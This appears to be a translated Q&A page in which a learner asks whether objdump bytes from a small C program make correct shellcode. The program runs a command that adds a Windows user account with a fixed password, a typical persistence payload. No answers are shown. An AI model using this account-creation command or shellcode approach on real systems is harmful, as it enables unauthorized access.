以正确的方式从对象转储获取Shellcode

时间:2018-09-17 14:25:17

标签: c objdump

我已经阅读了一些有关基本shellcode的教程,我有一个问题。我已经在c中编写了一个小函数

#include <stdio.h>
#include<string.h> 
int main() {
    char cmd[] = "net user /add jango Jango01$";
    system(cmd);
}

并已使用

构建了目标文件
gcc -c exec.c -o exec.o

现在,我想使用objdump将其转换为shellcode。

c:\>objdump -d -M intel exec.o

:     file format pe-i386


Disassembly of section .text:

00000000 <_main>:
   0:   55                      push   ebp
   1:   89 e5                   mov    ebp,esp
   3:   83 e4 f0                and    esp,0xfffffff0
   6:   83 ec 30                sub    esp,0x30
   9:   e8 00 00 00 00          call   e <_main+0xe>
============= SNIP =============
  5c:   c9                      leave  
  5d:   c3                      ret    
  5e:   90                      nop
  5f:   90                      nop

当我将字节捆绑成类似的东西

char code[] = "\x55\x89\xe5\x83\xe4\xf0\x83\xec\x30\xe8\x00\x00\x00\x00 == SNIPPET == \xc9\xc3\x90\x90";

这是正确的方法吗?我不确定hexdump是否是最终的shellcode。我的英语不太好,我不确定我是否听懂。

谢谢

0 个答案:

没有答案